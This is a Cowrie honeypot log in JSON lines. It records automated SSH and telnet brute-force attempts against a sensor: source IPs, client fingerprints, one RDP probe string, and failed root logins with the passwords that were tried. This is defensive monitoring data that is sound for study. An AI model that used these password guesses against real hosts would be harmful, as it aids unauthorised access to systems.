{"eventid":"cowrie.login.failed","username":"root","password":"rm123","message":"login attempt [root/rm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:04.251516Z","src_ip":"120.1.87.115","session":"7a15ccb1ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:05.481633Z","src_ip":"120.1.87.115","session":"7a15ccb1ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.38050103187561,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:08.811377Z","src_ip":"152.42.224.71","session":"71fbe04254fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.372512340545654,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:15.165492Z","src_ip":"152.42.224.71","session":"827593780beb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":45192,"dst_ip":"10.17.0.5","dst_port":22,"session":"395424937730","protocol":"ssh","message":"New connection: 103.75.182.198:45192 (10.17.0.5:22) [session: 395424937730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:15.497024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:15.502666Z","src_ip":"103.75.182.198","session":"395424937730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:15.740987Z","src_ip":"103.75.182.198","session":"395424937730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"defender","message":"login attempt [root/defender] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:16.461536Z","src_ip":"103.75.182.198","session":"395424937730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175428390503,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:16.488322Z","src_ip":"152.42.224.71","session":"83cd0c2d902c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49827,"dst_ip":"159.203.135.109","dst_port":22,"session":"b741fc0e36f1","protocol":"ssh","message":"New connection: 152.42.212.128:49827 (159.203.135.109:22) [session: b741fc0e36f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:17.104792Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:17.109968Z","src_ip":"152.42.212.128","session":"b741fc0e36f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:17.115005Z","src_ip":"152.42.212.128","session":"b741fc0e36f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:17.704013Z","src_ip":"103.75.182.198","session":"395424937730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.37914490699768,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:21.780478Z","src_ip":"152.42.224.71","session":"b9f5a325aad2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59776,"dst_ip":"10.17.0.5","dst_port":23,"session":"be030b8dfd8d","protocol":"telnet","message":"New connection: 152.42.224.71:59776 (10.17.0.5:23) [session: be030b8dfd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:28.226367Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59784,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd1fd3fb00b","protocol":"telnet","message":"New connection: 152.42.224.71:59784 (10.17.0.5:23) [session: cbd1fd3fb00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:31.390266Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":56608,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e025ab0bc70","protocol":"ssh","message":"New connection: 13.71.92.229:56608 (10.17.0.5:22) [session: 2e025ab0bc70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:40.586341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:40.594257Z","src_ip":"13.71.92.229","session":"2e025ab0bc70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:40.807176Z","src_ip":"13.71.92.229","session":"2e025ab0bc70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"model","message":"login attempt [root/model] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:41.692432Z","src_ip":"13.71.92.229","session":"2e025ab0bc70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.25934314727783,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:42.123022Z","src_ip":"152.42.224.71","session":"23650af1406a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36038,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8afd594164f","protocol":"telnet","message":"New connection: 152.42.224.71:36038 (10.17.0.5:23) [session: e8afd594164f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:42.576035Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:42.908755Z","src_ip":"13.71.92.229","session":"2e025ab0bc70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49476,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5b5e1a0100","protocol":"telnet","message":"New connection: 152.42.224.71:49476 (10.17.0.5:23) [session: bd5b5e1a0100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:45.960634Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac2f45027322","protocol":"ssh","message":"New connection: 51.250.105.222:55624 (10.17.0.5:22) [session: ac2f45027322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:51.070867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:51.075599Z","src_ip":"51.250.105.222","session":"ac2f45027322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:51.204460Z","src_ip":"51.250.105.222","session":"ac2f45027322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apsk54321","message":"login attempt [root/apsk54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:51.594102Z","src_ip":"51.250.105.222","session":"ac2f45027322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:52.725831Z","src_ip":"51.250.105.222","session":"ac2f45027322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.03069138526917,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:52.785793Z","src_ip":"152.42.224.71","session":"03e50f4f510b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.810485363006592,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:54.036495Z","src_ip":"152.42.224.71","session":"be030b8dfd8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56098,"dst_ip":"159.203.135.109","dst_port":22,"session":"edf4e9429c19","protocol":"ssh","message":"New connection: 89.223.69.22:56098 (159.203.135.109:22) [session: edf4e9429c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:55.487621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:55.491467Z","src_ip":"89.223.69.22","session":"edf4e9429c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:55.604859Z","src_ip":"89.223.69.22","session":"edf4e9429c19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"909954","message":"login attempt [root/909954] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:55.946172Z","src_ip":"89.223.69.22","session":"edf4e9429c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:57.062994Z","src_ip":"89.223.69.22","session":"edf4e9429c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":54410,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2322620282a","protocol":"ssh","message":"New connection: 20.193.250.100:54410 (10.17.0.5:22) [session: e2322620282a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:58.111151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:58.119910Z","src_ip":"20.193.250.100","session":"e2322620282a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:58.316180Z","src_ip":"20.193.250.100","session":"e2322620282a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd!234","message":"login attempt [root/Abcd!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:20:59.143117Z","src_ip":"20.193.250.100","session":"e2322620282a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:00.344129Z","src_ip":"20.193.250.100","session":"e2322620282a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58252,"dst_ip":"10.17.0.5","dst_port":23,"session":"37461df4e415","protocol":"telnet","message":"New connection: 152.42.224.71:58252 (10.17.0.5:23) [session: 37461df4e415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:00.532592Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58262,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8d063f9ddb4","protocol":"telnet","message":"New connection: 152.42.224.71:58262 (10.17.0.5:23) [session: b8d063f9ddb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:05.244403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58266,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7548791d97","protocol":"telnet","message":"New connection: 152.42.224.71:58266 (10.17.0.5:23) [session: 5b7548791d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:05.517900Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55898,"dst_ip":"10.17.0.5","dst_port":22,"session":"44bcc7c94c39","protocol":"ssh","message":"New connection: 109.237.96.109:55898 (10.17.0.5:22) [session: 44bcc7c94c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:10.227019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:10.231890Z","src_ip":"109.237.96.109","session":"44bcc7c94c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.666736125946045,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:10.242682Z","src_ip":"152.42.224.71","session":"e8afd594164f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:10.326266Z","src_ip":"109.237.96.109","session":"44bcc7c94c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jennifer","message":"login attempt [root/jennifer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:10.607652Z","src_ip":"109.237.96.109","session":"44bcc7c94c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.8976788520813,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:11.287689Z","src_ip":"152.42.224.71","session":"cbd1fd3fb00b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:11.703720Z","src_ip":"109.237.96.109","session":"44bcc7c94c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52330,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d0db47117b","protocol":"telnet","message":"New connection: 152.42.224.71:52330 (10.17.0.5:23) [session: c1d0db47117b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:11.947621Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52340,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b282394dbb7","protocol":"telnet","message":"New connection: 152.42.224.71:52340 (10.17.0.5:23) [session: 3b282394dbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:12.480486Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36938,"dst_ip":"10.17.0.5","dst_port":22,"session":"adf5c70e0b00","protocol":"ssh","message":"New connection: 176.32.39.21:36938 (10.17.0.5:22) [session: adf5c70e0b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:21:17.221755Z"}
